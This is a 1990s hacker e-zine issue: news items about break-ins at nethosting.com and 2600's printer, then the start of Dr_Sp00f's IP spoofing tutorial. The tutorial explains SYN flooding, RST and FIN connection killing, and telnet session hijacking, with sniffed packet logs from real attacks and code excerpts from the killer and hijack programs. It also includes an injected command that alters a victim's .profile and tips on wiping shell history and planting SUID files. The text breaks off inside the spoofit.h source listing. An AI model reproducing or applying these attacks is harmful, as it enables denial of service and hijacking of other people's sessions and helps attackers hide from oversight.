컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Yeah, werkin' on it, lewkout!! 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 6. Too Many nethosting.com Break-Ins : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� www.hawkee.com and many other "vservers" at nethosting.com have been hacked or attacked, like sinnerz.com (although no damage was done to the site) and so the admin at nethosting can't be very happy with their security, I was talking to hawkee about the hacks into his system by two members of the CodeZero (thats what the numbers stood for - minus 2 from each, turn the 0 into a 26, then 1 = A, 2 = B, 3 = C etc. = CODEZERO) and he was saying that newhosting had really boosted their secruity, this was also the case when access to cough-syrup.nethosting.com was gained by one single hacker, as after the attack, the sendmail version was pumped from 8.8.4 to 8.8.5, nethosting are also considering taking action to prevent certain hosts from having access to the system. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 7. sulfur of #hack to print a bi-monthly magazine : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Access Denied will be printed by sulfur (Edward Givings) of #hack, free copies will be distributed at Beyond Hope, it will be bi-monthly, so you get 6 issues a year, as opposed to 4 of 2600, look out for it... 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 8. 2600 printers go bust and take $9000 : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� The latest news is that the 2600 printers have gone bust, and taken $9000 of the 2600's money with them, Winter edition of 2600 might not come out. emmilio can't be very happy can he? 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ PROJECTS ]=================[ .SECTION F. ]===================[ PROJECTS ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� .:. The CodeZero In Assosiation With Dr_Sp00f Presents .:. .:. A Confidence Remains High Production .:. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� -=[ A short (yea right - T_K) overview of IP spoofing: PART I ]=- -=[ Part of Dr_sp00f's Packet Project']=- (Includes Source for Linux 1.3.X and later kernels) All text and Source code written by Dr_Sp00f himself (Copyright 1997) All source tested on Linux kernel 2.0.X All packet data captured with Sniffit 0.3.2 (a pre-release at that time) 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� PART I: Simple spoofing (Non blind) ----------------------------------- 0. Introduction 0.1 What 0.2 For whom 0.3 Disclaimer 0.4 Licence 1. Short explanation of some words 2. Description of sourcecode 2.1 Source included 2.2 Programmer notes 3. TCP/IP (UDP) in an hazelnutshell 4. Non-blind spoofing 4.1 Know what you are doing 4.2 SYN flooding 4.3 Connection Killing 4.3.1 Using reset (RST) 4.3.2 Closing a connection (FIN) 4.3.3 Improving 4.4 Connection Hijacking 4.5 Other 5. The source code 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� PART I: Simple spoofing (Non blind) 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 0. Introduction --------------- 0.1 What -------- This document describes some IP spoofing attacks and gives you example source code of the programs used for these attacks (and packet sniffer logs, so you see what exactly happens). It also provides you with an easy to use include file for experimenting a little yourself. Oh, if you make something nice with the "spoofit.h" file, please mail it to me (or a reference where it is available) with a little explanation on what it is (a few lines are enough)... If you have interesting remarks, comment, idea's, ... please contact me Dr_spoof@geocities.com If YOU think of yourself, you are "3>/dev/null or >/dev/echo depends on how smart you are. It is not wise to use what you don't know/understand, so read this before trying anything... it will only take a few minutes, and probably save you some hours of failure... This code is not crippled in the usual way (removing some vital parts), the power is limited by it's briefness, because I wanted to keep everything simple and illustrative (but working). It's a simple job to improve it, and that is the goal of this doc, that you improve it yourself. Special thx to |ExcEEd| and theJUdgE also to all those ppl who deserve it. 0.2 For whom ------------ For people with an elementary knowledge of TCP/IP, some knowledge on C (only the basic setup) and some general UNIX knowledge. It's no use reading this document if you are completely unaware of these things, but mind you, only a little knowledge is enough. 0.3 Disclaimer -------------- I am in no way responsible for the use of this code. By using this software and reading this document you accept the fact that any damage (emotional, physical, dataloss and the end of the world as we know it ...) caused by the use or storage of these programs/documents is not MY responsability. I state that during the writing and testing of this document/source, I never violated any law. All spoofing was done between machines where I had legit root access, or where I had the permission from the legit root. This code can be written by any competent programmer, so this source is not so harmfull as some will say (cauz' I'm sure some people won't like this degree of disclosure). 0.4 Licence ----------- All source code and text is freely available. You can spread it, as long as you don't charge for it (exceptions are a small reproduction fee, if it isn't spread together with commercial software, texts.) You may not spread parts of the document, it should be spread as one package. You may not modify the text and/or source code. You can use the spoofit.h or derived code in your own programs as long as they are not commercial (i.e. FREE), and you give me the credits for it. 1. Short explanation of some words ---------------------------------- This is a short explanation of some words you might see in the text/source. You probably know all this, but I put it in here anyway. Sniffit My favourite Packet Sniffer, all sniffed sequences in this (At time of writing a pre-release 0.3.2) IP-spoofing (further referenced to as spoofing) The forging of IP packets NOTE that not only IP based protocols are spoofed. NOTE that spoofing is also used on a constructive base (LAN spoofing, not discussed here). NOTE that I don't use it on a constructive base ;) Non-blind spoofing Using the spoofing to interfer with a connection that sends packets along your subnet (so generally one of the 2 hosts involved is located on your subnet, or all data traffic has to be passing your network device,... you might consider taking a job at some transatlantic route provider). Blind spoofing Using the spoofing to interfer with a connection (or creating one), that does not send packets along your cable. 2. Description of sourcecode ---------------------------- 2.1 Source included ------------------- spoofit.h The include file that provides some easy to use spoofing functions. To understand the include file and it's functions, read the header of that file for use of the C functions. *.c Example programs (on the use of spoofit.h) that are discussed in this document. Details on these programs are included in the appropriate sections. sniper-rst.c Basic TCP connection killer. (denial-of-services) sniper-fin.c Basic TCP connection killer. (denial-of-services) hijack.c Simple automated telnet connection hijacker. 2.2 Programmer notes -------------------- These programs are just examples. That means, they could be improved a lot. Because I wanted to keep them short and leave some stuff to your imagination, they are very simple. However they all work and are a good starting point. 3. TCP/IP (UDP) in an hazelnutshell ----------------------------------- Because it has been explained enough in 'Phrack Volume Seven, Issue Forty-Eight, File 14 of 18' by daemon9/route/infinity , and there is a lot of documentation available on the subject I will only repeat some things very briefly. (Please read the phrack #48 file or any other document on the subject before reading this). A connection is fully defined with 4 parameters, a source host and port, and a destination host and port. When you make a connection, data is send in packets. Packets take care of low level trafic, and make sure the data arrives (sometimes with special error handling). The spine of most networks is the IP protocol version 4. It is totally independent of all hardware protocols. TCP and UDP are higher level protocols wrapped up in IP packets. All those packets consist of a header and data. IP header contains (amongst other things): IP of source and destination hosts for that packet, and the protocol type of the packet wrapped up in it. (TCP=6, UDP=17, etc.). UDP packets contain (amongst other things): port number of source and destination host. UDP has no such thing as SEQ/ACK, it is a very weak protocol. TCP packets contain (amongst other things): port number of source and destination host, sequence and acknowledge numbers (further refered to as SEQ/ACK), and a bunch of flags. SEQ number: is counted byte per byte, and gives you the number of the NEXT byte to be send, or that is send in this packet. ACK number: is the SEQ number that is expected from the other host. SEQ numbers are chosen at connection initiation. I said is was going to be short... If you didn't understand the above text, read up on it first, because you won't understand sh!t of the rest. 4. Non-blind spoofing --------------------- 4.1 Know what you are doing --------------------------- The concept of non-blind spoofing (NBS further in this doc) is pretty simple. Because packets travel within your reach, you can get the current sequence and acknowledge (SEQ/ACK further in this doc) numbers on the connection. NBS is thus a very easy and accurate method of attack, but limited to connections going over your subnet. In spoofing documentation these attacks are sometimes ommited, because they are mostly 'denial-of-service' attacks, or because people don't realise the advantage a spoof (in particulary a hijack) can have above simple password sniffing. Spoofing in generally is refered to as a verry high level of attack. This refers to blind spoofing (BlS further in this doc), because NBS is kidstuff for a competent coder. 4.2 SYN flooding ---------------- Thoroughly discussed in 'Phrack Volume Seven, Issue Forty-Eight, File 13 of 18'. I won't waste much time on it. Setup: host A <-----][----------X--------------->host B | host S <-----------------/ Concept: Host S impersonates SYN (connection init) coming from host A, to host B. Host A should be unreachable (e.g. turned off, non existant,...). B sends out the second packet of the 3 way TCP handshake. Host B will now wait for response of host A. If host A is reachable it will tell host B (with a reset: RST) that it DID NOT inititate a connection, and thus host B received a bogus packet. (In that case host B will ingnore the SYN, and *normally* nothing will happen) So if A is unreachable, B will wait for response some time. When doing multiple attacks, the backlog of host B is going to be exceeded and host B will not except new connections (read on TCP bugs for additional features ;) for some time. 4.3 Connection Killing ---------------------- Setup: host A <------X------------------------->host B | A,B have a TCP connection running host S <------/ A,S on same subnet (setup is the same in both cases) Use: Clearing mudders of your net, annoying that dude typing an important paper, etc... plain fun. 4.3.1 Using reset (RST) ----------------------- Concept: TCP packets have flags which indicate the status of the packet, like RST. That is a flag used to reset a connection. To be accepted, only the sequence number has to be correct (there is no ACK in a RST packet). So we are going to wait for packets in a connection between A and B. Assume we wait for packets to A. We will calculate (from B's packets) the sequence number for A's packets (from B's ACK's), and fire a bogus RST packet from S (faking to be A) to B. An actual attack: (These are real sniffed packets, although IP numbers of hosts were changed) host A : 166.66.66.1 host B : 111.11.11.11 (S on same subnet as A) (This is a good example of how things not always go as you want, see below for a solution) 1) connection running... we wait for a packet to get current SEQ/ACK (A->B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23 SEQ (hex): 57E1F2A6 ACK (hex): B8BD7679 FLAGS: -AP--- Window: 3400 (data removed because irrelevant, 2 bytes data) 2) This is the ACK of it + included data (witch causes SEQ number to change, and thus messing up our scheme, because this came very fast.) (B->A) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810 SEQ (hex): B8BD7679 ACK (hex): 57E1F2A8 FLAGS: -AP--- Window: 2238 (data removed because irrelevant, 2 bytes data) 3) ACK of it. (A->B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23 SEQ (hex): 57E1F2A8 ACK (hex): B8BD767B FLAGS: -A---- Window: 3400 (data removed because irrelevant) 4) further data (B->A) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810 SEQ (hex): B8BD767B ACK (hex): 57E1F2A8 FLAGS: -AP--- Window: 2238 (data removed because irrelevant) 5) ACK of it (A->B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1810-111.11.11.11.23 SEQ (hex): 57E1F2A8 ACK (hex): B8BD7691 FLAGS: -A---- Window: 3400 6) Now we get 2 RST packets. How do you explain that? Well, the first reset packet has been buffered somewhere on our system, because the ethernet segment was busy when we wanted to send it. This is the 'unexpected thing' I discussed above, here we are lucky, the data stream cooled down so fast. When it doesn't cool down so fast, we could miss our RST (or the connection will be killed a little later then when we wanted), you'll see some idea's on how to fix that problem. TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810 SEQ (hex): B8BD7679 FLAGS: ---R-- TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1810 SEQ (hex): B8BD7691 FLAGS: ---R-- (This was the packet that killed the connection) Discussion of the program: The discussion here is a bit weird , that is because 'sniper-rst.c' is not designed to be an optimal killer, merly to be an example. We have the problem of speed here. We miss some packets what causes those resends. So we would design a better 'sniper' if we do the following: - use blocking IO (not necessarilly, because the RST killer would loose some of it's beauty (looping), this is dealt with in the FIN killer example. Blocking is a little faster when a lot of packets come after each other.) - multi-packet firing... fire more packets with incremented SEQ. (this is commented in the source) - waiting for a pure ACK packet (no data), because otherwise you risk to much of getting mid transmission and not being fast enough. (disadvantage is the 'waiting period' before the connection is killed) NOTE these examples were done on non-loaded networks, with non-loaded servers, what makes it a worst case scenario for speed problems. 4.3.2 Closing a connection (FIN) -------------------------------- Concept: An other flag is FIN and says: "no more data from sender". This flag is used when closing a connection down the normal legit way. So if there was a way to make a packet that is accepted by one of the two hosts, this host would believe the 'sender' didn't have any data left. Following (real) packets would be ignored as they are considered bogus. That's it, because we can sniff the current SEQ/ACK of the connection we can pretend to be either host A or B, and provide the other host with CORRECT packetinformation, and an evil FIN flag. The beauty of it all is, that after a FIN is send the other host always replies with one if it is accepted, so we have a way to verify our killing, and can be 100% sure of success (if for some reason we missed a SEQ or ACK, we can just resend). RST killing is more popular and is prefered, but I've put this in as an example, and I like it myself. An actual attack: (These are real sniffed packets, although IP numbers of hosts were changed) host A : 166.66.66.1 host B : 111.11.11.11 (S on same subnet as A) 1) connection is running.... sniper is started on host S as 'sniper-fin 166.66.66.1 23 111.11.11.11 1072' and waits for a packet to take action (we need to get SEQ/ACK) (mind you switching host A and B would be the same, only S would be impersonating A instead of B) suddenly a packet arrives... (A->B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072 SEQ (hex): 19C6B98B ACK (hex): 69C5473E FLAGS: -AP--- Window: 3400 Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072 45 E 00 . 00 . 2A * 30 0 5E ^ 40 @ 00 . 40 @ 06 . 5E ^ AD . 9D . C1 . 45 E 33 3 9D . C1 . 2B + 0D . 00 . 17 . 04 . 30 0 19 . C6 . B9 . 8B . 69 i C5 . 47 G 3E > 50 P 18 . 34 4 00 . 3A : 61 a 00 . 00 . 0D . 0A . ~~~~~~~~~ > 2 data bytes 2) sniper detected it, and sends a bogus packet. (S as B -> A) We calculate our SEQ as: ACK of (A->B) packet We calculate our ACK as: SEQ of (A->B) packet + datalength of that packet (19C6B98B + 2 = 19C6B98D) (so we tell A, we received the last packet, and will not transmit further data) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.1072-166.66.66.1.23 SEQ (hex): 69C5473E ACK (hex): 19C6B98D FLAGS: -A---F Window: 7C00 (data removed because irrelevant) 3) host A now says: 'okay, you end the session, so here is my last data' (A->B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072 SEQ (hex): 19C6B98D ACK (hex): 69C5473E FLAGS: -AP--- Window: 3400 (data removed because irrelevant) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072 SEQ (hex): 19C6B998 ACK (hex): 69C5473F FLAGS: -A---- Window: 3400 (data removed because irrelevant) 4) host A now has flushed its buffer and on his turn FIN's the connection. (A->B) sniper, intercepts this packet and now knows the hosts fell for the spoof and the killing was a success! (host A will no longer accept any data) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072 SEQ (hex): 19C6B998 ACK (hex): 69C5473F FLAGS: -A---F Window: 3400 (data removed because irrelevant) 5) We impersonated B, making A believe we had no further data. But B doesn't know that and continues to send packets. (B->A) host A has that connection closed, and thus thinks the real packets of B are spoofed (or at least bogus)! So host A sends some reset packets (RST). TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.1072-166.66.66.1.23 SEQ (hex): 69C5473E ACK (hex): 19C6B98D FLAGS: -A---- Window: 3750 (data removed because irrelevant) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.23-111.11.11.11.1072 SEQ (hex): 19C6B98D FLAGS: ---R-- (data removed because irrelevant) 6) This goes on for a couple of packets. Discussion of the program (numbers correspond with those of 'An Actual Attack'): 1) stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,10); if(stat==-1) {printf("Connection 10 secs idle... timeout.\n");exit(1);} We use wait_packet on a non blocking socket. This way we can enable a 10 seconds timeout. This functions returns when the correct packet has been delivered (or timeout). 2) sp_seq=pinfo.ack; sp_ack=pinfo.seq+pinfo.datalen; transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P, sp_seq,sp_ack,ACK|FIN); We calculate a spoofed SEQ/ACK, and fire off a fake FIN packet. As we don't send any data with it, our buffer is set to NULL and datalength to 0. NOTE together with FIN, you need to enable ACK. 3) N/A 4) stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,FIN,5); if(stat>=0) {printf("Killed the connection...\n"); exit(0);} We wait for a FIN packet (note the FIN in wait_packet). We use a 5 sec. timeout, if the function returns and stat>=0 (-1 on timeout), we know our attempt was successfull. 5) N/A 6) N/A NOTE We can have the same problem here as with the RST killer. But didn't have it here, because the packet we responded upon was the end of a data stream (in fact it was an echo from a shell command) 4.3.3 Improving --------------- Except from multipacket firing, it is advised to launch 2 attacks (one in both ways). This illiminates one side oriented connections to be handled optimally. I think of things like downloading data, which is a one way data-flow, it is much easier sending a RST from the (spoofed) receiver to the sender, then the other way around. Those 2 attacks could both impersonate host A and B, and thus giving is 4 times more chance of a succesfull kill. I'll leave further experimenting up to you (use your imagination to handle different situations). 4.4 Connection Hijacking ------------------------ Setup: host A <------X------------------------->host B | A,B have a TCP connection running (TELNET) host S <------/ A,S on same subnet Concept: (suppose a TELNET from A (client) to B (server)) TCP separates good and bogus packets by their SEQ/ACK numbers i.e. B trusts the packets from A because of its correct SEQ/ACK numbers. So if there was a way to mess up A's SEQ/ACK, B would stop believing A's real packets. We could then impersonate to be A, but using correct SEQ/ACK numbers (that is numbers correct for B). We would now have taken over the connection (host A is confused, B thinks nothings wrong (almost correct, see 'actual attack'), and S sends 'correct' data to B). This is called 'Hijacking' a connection. (generally hijacking a TELNET session, but same could be done woth FTP, RLOGIN, etc...) How could we mess up A's SEQ/ACK numbers? Well by simply inserting a data packet into the stream at the right time (S as A->B), the server B would accept this data, and update ACK numbers, A would continue to send it's old SEQ numbers, as it's unaware of our spoofed data. Use: I allready hear you wiseguys yelling: "Hey dude, why hijack a connection if you can sniff those packets anyway??" Well, anybody heared of One Time Passwords, Secure Key?? Case closed.... (S/Key: server challenges client, client and server calculate a code from the challenge and password, and compare that code. The password itself is never send on the cable, so you can't sniff sh!t). (OTP: server has a list of passwords, once one is used, it is destroyed, so sniffing gets you a password that has 'just' expired ;) (ALL types of identification that happen at connection (encrypted or not, trusted or not), and don't use encrypted data transfer, are vulnerable to 'hijacking'.) An actual attack: (These are real sniffed packets, although IP numbers of hosts were changed) (suppose a TELNET from A (client) to B (server)) host A : 166.66.66.1 host B : 111.11.11.11 (S on same subnet as A) 1) connection running... we look with sniffit, and see he's busy in a shell, we start 'hijack' on host S as 'hijack 166.66.66.1 2035 111.11.11.11' a packet containing from (A->B) is detected... hijack takes action... (A->B) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 SEQ (hex): 5C8223EA ACK (hex): C34A67F6 FLAGS: -AP--- Window: 7C00 Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 45 E 00 . 00 . 29 ) CA . F3 . 40 @ 00 . 40 @ 06 . C5 . 0E . 9D . C1 . 45 E 3F ? 9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EA . C3 . 4A J 67 g F6 . 50 P 18 . 7C | 00 . 6D m 29 ) 00 . 00 . 6C l ~~~~ 2) host B (server) echo's that databyte (typing 'l' in a bash shell!!!) (you gotta know what you are doing) (B->A) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 SEQ (hex): C34A67F6 ACK (hex): 5C8223EB FLAGS: -AP--- Window: 2238 Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 45 E 00 . 00 . 29 ) B5 . BD . 40 @ 00 . FC . 06 . 1E . 44 D 9D . C1 . 2A * 0B . 9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F6 . 5C \ 82 . 23 # EB . 50 P 18 . 22 " 38 8 C6 . F0 . 00 . 00 . 6C l ~~~~ 3) A simple ACK from host A to B responding to that echo. Because we know this can come, and we know a simple ACK doesn't contain data, we don't need this for SEQ/ACK calculation. TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 SEQ (hex): 5C8223EB ACK (hex): C34A67F7 FLAGS: -A---- Window: 7C00 (data removed because irrelevant) 4) Now we impersonate further data (following packet 1). (S as A -> B) We calculate SEQ/ACK out of packet 1, NOT out of the 'echo' from B, because we have to be as fast as possible, and packet 2 could be slow. We send some backspaces and some enters. To clean up the command line. We will probably still get some error message back from the shell. But we handle that too! (see sourcecode) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 SEQ (hex): 5C8223EB ACK (hex): C34A67F6 FLAGS: -AP--- Window: 7C00 Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 45 E 00 . 00 . 32 2 31 1 01 . 00 . 00 . 45 E 06 . 99 . F8 . 9D . C1 . 45 E 3F ? 9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # EB . C3 . 4A J 67 g F6 . 50 P 18 . 7C | 00 . AE . F5 . 00 . 00 . 08 . 08 . 08 . 08 . 08 . 08 . 08 . 08 . 0A . 0A . 5) This is the echo of our spoofed data. Look at ACK. (B->A) 5C8223F5 = 5C8223EB + 0A (this is how we detect that the spoof was a success) NOTE that at this point the connection is ours, and A's SEQ/ACK numbers are completely f#cked up according to B. TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 SEQ (hex): C34A67F7 ACK (hex): 5C8223F5 FLAGS: -AP--- Window: 2238 Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 45 E 00 . 00 . 3C < B5 . BE . 40 @ 00 . FC . 06 . 1E . 30 0 9D . C1 . 2A * 0B . 9D . C1 . 45 E 3F ? 00 . 17 . 04 . 10 . C3 . 4A J 67 g F7 . 5C \ 82 . 23 # F5 . 50 P 18 . 22 " 38 8 26 & 7C | 00 . 00 . 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 5E ^ 48 H 0D . 0A . 0D . 0A . 6) Hijack will now try to get on track of SEQ/ACK numbers again, to send the data we want to be executed. NOTE each time a packet 'out of numbering' arrives the host should answer with correct SEQ/ACK, this provides us with the certainty that a lot of packets are going to be send with correct (and not changing) SEQ/ACK nrs. (this is where the mechanism of getting our numbers back straight is based upon) NOTE it's at this point the real TELNET client's session hangs, most people ignore this and re-login after a few secs, accepting the accident as Murphy's law. (Well it *can* happen without any spoofing involved) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 SEQ (hex): 5C8223EB ACK (hex): C34A67F7 FLAGS: -AP--- Window: 7C00 (data removed because irrelevant) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 SEQ (hex): C34A680B ACK (hex): 5C8223F5 FLAGS: -A---- Window: 2238 (data removed because irrelevant) TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-157.193.42.11.23 SEQ (hex): 5C8223EB ACK (hex): C34A67F7 FLAGS: -AP--- Window: 7C00 (data removed because irrelevant) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 SEQ (hex): C34A680B ACK (hex): 5C8223F5 FLAGS: -A---- Window: 2238 (data removed because irrelevant) 7) We are back on track (or at least hijack is, because this is going very fast). And we fire off our faked bash command. echo "echo HACKED" >> $HOME/.profile TCP Packet ID (from_IP.port-to_IP.port): 166.66.66.1.1040-111.11.11.11.23 SEQ (hex): 5C8223F5 ACK (hex): C34A680B FLAGS: -AP--- Window: 7C00 Packet ID (from_IP.port-to_IP.port): 166.66.66.1-111.11.11.11.23 45 E 00 . 00 . 4D M 31 1 01 . 00 . 00 . 45 E 06 . 99 . DD . 9D . C1 . 45 E 3F ? 9D . C1 . 2A * 0B . 04 . 10 . 00 . 17 . 5C \ 82 . 23 # F5 . C3 . 4A J 68 h 0B . 50 P 18 . 7C | 00 . 5A Z B6 . 00 . 00 . 65 e 63 c 68 h 6F o 20 22 " 65 e 63 c 68 h 6F o 20 48 H 41 A 43 C 4B K 45 E 44 D 22 " 20 3E > 3E > 24 $ 48 H 4F O 4D M 45 E 2F / 2E . 70 p 72 r 6F o 66 f 69 i 6C l 65 e 0A . 00 . 8) now we wait for this data to be confirmed. ACK = 5C8223F5 + 025 (=37 bytes) TCP Packet ID (from_IP.port-to_IP.port): 111.11.11.11.23-166.66.66.1.1040 SEQ (hex): C34A680B ACK (hex): 5C82241A FLAGS: -AP--- Window: 2238 Packet ID (from_IP.port-to_IP.port): 157.193.42.11.23-157.193.69.63.1040 (data removed because irrelevant) 9) The connection runs on. Now you can execute more commands (just stay on track of SEQ/ACK), and even finnish the connection (with the same mechanism of sniper, or with sniper itself... here FIN is recommended). NOTE: here it is important to be in a shell. But if you have been watching someone, and you notice he's always directly going to 'pine' and you can't get inbetween on time. NO PROBS.... just make a cleanup string that cleans up 'pine' and puts you back in the shell. (some control chars, hotkeys, whatever....) NOTE: if you clean up the .sh_history of .bash_history (whatever) this attack is one of the nicest there is. Another advantage above sniffing. NOTE: Noone says you have to make a .rhosts file (rlogin and family might be disabled), you can change permissions, put stuff SUID, put it public, install stuff, mail, etc.. Discussion of the program (numbers correspond with those of 'An Actual Attack'): 1) wait_packet(fd_receive,&attack_info,CLIENT, CLIENT_P, SERVER, 23,ACK|PSH,0); Waiting for actual data (PSH is always used for packets containing data in interactive services like TELNET) 2) N/A 3) N/A 4) sp_seq=attack_info.seq+attack_info.datalen; sp_ack=attack_info.ack; transmit_TCP(fd_send, to_data,0,0,sizeof(to_data),CLIENT, CLIENT_P, SERVER, 23,sp_seq,sp_ack,ACK|PSH); We recalculate the sequence number (using SEQ and datalength of packet 1) an we send a spoofed packet with ACK and PSH flag, containing the cleanup data in to_data. 5) while(count<5) { wait_packet(fd_receive, &attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0); if(attack_info.ack==sp_seq+sizeof(to_data)) count=PERSONAL_TOUCH; else count++; }; We wait for a confirmation that our spoofed sequence is accepted. We expect a packet with an ACK set (PSH or not). It should come within 5 packets, we use this limit, because we should be able to handle some previous ACK packets! NOTE we don't check SEQ nrs, because we have no clue of what they are going to be (data might have been send our way, or not). 6) while(count<10) { old_seq=serv_seq; old_ack=serv_ack; wait_packet(fd_receive,&attack_info,SERVER, 23, CLIENT, CLIENT_P, ACK,0); if(attack_info.datalen==0) { serv_seq=attack_info.seq+attack_info.datalen; serv_ack=attack_info.ack; if( (old_seq==serv_seq)&&(serv_ack==old_ack) ) count=PERSONAL_TOUCH; else count++; } }; To get back on track, we try to receive 2 ACK packets without data with the same SEQ/ACK. We know enough packets will be send as a response to incorrect packets from the confused host A. This is how we get back on track. NOTE In a case where A completely gave up, simple spoof a packet with incorrect SEQ/ACK to get the correct numbers back. 7) transmit_TCP(fd_send, evil_data,0,0,sizeof(evil_data),CLIENT,CLIENT_P, SERVER,23,serv_ack,serv_seq,ACK|PSH); Pretty clear.... 8) while(count<5) { wait_packet(fd_receive,&attack_info,SERVER,23,CLIENT,CLIENT_P,ACK,0); if(attack_info.ack==serv_ack+sizeof(evil_data)) count=PERSONAL_TOUCH; else count++; }; and again waiting for confirmation. NOTE after the above attack, hijack had produced the following output: Starting Hijacking demo - Brecht Claerhout 1996 ----------------------------------------------- Takeover phase 1: Stealing connection. Sending Spoofed clean-up data... Waiting for spoof to be confirmed... Phase 1 ended. Takeover phase 2: Getting on track with SEQ/ACK's again Server SEQ: C34A680B (hex) ACK: 5C8223F5 (hex) Phase 2 ended. Takeover phase 3: Sending MY data. Sending evil data. Waiting for evil data to be confirmed... Phase 3 ended. 4.5 Other --------- This list is far from complete, I'm sure you can think of other nice things to do with this information, think, experiment and code! 5. The source code ------------------ ---=[ spoofit.h ]=------------------------------------------------------------ /**************************************************************************/ /* Spoofit.h - Include file for easy creating of spoofed TCP packets */ /* Requires LINUX 1.3.x (or later) Kernel */ /* (illustration for 'A short overview of IP spoofing') */ /* V.1 - Copyright 1996 - Brecht Claerhout */ /* */ /* Purpose - Providing skilled people with a easy to use spoofing source */ /* I used it to be able to write my tools fast and short. */ /* Mind you this is only illustrative and can be easily */ /* optimised. */ /* */ /* Author - Dr_Sp00f (Himself) */ /* Serious advice, comments, statements, greets, always welcome */ /* flames, moronic 3l33t >/dev/null */ /* */ /* Disclaimer - This file is for educational purposes only. I am in */ /* NO way responsible for what you do with this file, */ /* or any damage you or this file causes. */ /* */ /* For whom - People with a little knowledge of TCP/IP, C source code */ /* and general UNIX. Otherwise, please keep your hands of, */ /* and catch up on those things first. */ /* */ /* Limited to - Linux 1.3.X or higher. */ /* If you know a little about your OS, shouldn't be to hard */ /* to port. */ /* */ /* Important note - You might have noticed I use non standard packet */ /* header struct's. How come?? Because I started like */ /* that on Sniffit because I wanted to do the */ /* bittransforms myself. */ /* Well I got so damned used to them, I keep using them, */ /* they are not very different, and not hard to use, so */ /* you'll easily use my struct's without any problem, */ /* this code and the examples show how to use them. */ /* my apologies for this inconvenience. */ /* */ /* None of this code can be used in commercial software. You are free 